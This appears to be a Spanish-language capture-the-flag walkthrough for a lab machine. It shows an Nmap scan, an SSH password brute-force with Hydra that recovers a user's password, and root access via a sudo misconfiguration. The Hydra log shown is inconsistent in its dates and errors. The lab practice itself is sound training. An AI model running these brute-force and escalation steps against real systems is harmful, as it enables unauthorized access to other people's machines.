Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-23 03:47 EST
Nmap scan report for ctf403.hl (172.17.0.2)
Host is up (0.000038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 34:0d:04:25:20:b6:e5:fc:c9:0d:cb:c9:6c:ef:bb:a0 (ECDSA)
|_ 256 05:56:e3:50:e8:f4:35:96:fe:6b:94:c9:da:e9:47:1f (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 seconds
En la pagina web vemos una palabra llamada tails por lo que podemos intuir que puede ser un nombre de usuario.
Hydra
hydra -l tails -P <WORDLIST> ssh://<IP> -t 64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-23 03:55:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: tails password: 3117548331
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 23 final worker threads did not complete until end.
[ERROR] 23 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-08 07:42:21
Vemos que hemos sacado las credenciales de dicho usuario, por lo que nos conectaremos por ssh.
SSH
ssh tails@<IP>
Metemos como contraseña 3117548331 y veremos que estamos dentro.
Escalate privileges
Si hacemos sudo -l veremos lo siguiente.
User tails may run the following commands on fd41cefc8882:
(sonic) NOPASSWD: ALL
Por lo que vemos podemos ejecutar cualquer binario bajo el usuario sonic, pero si hacemos lo siguiente seremos root de una.
sudo -u sonic sudo su
Y con esto seremos root, ya que el usuario sonic tiene los siguientes permisos:
User sonic may run the following commands on fd41cefc8882:
(ALL) NOPASSWD: ALL
Basicamente puede hacer todo como si fura root, por lo que podemos escalar de una.
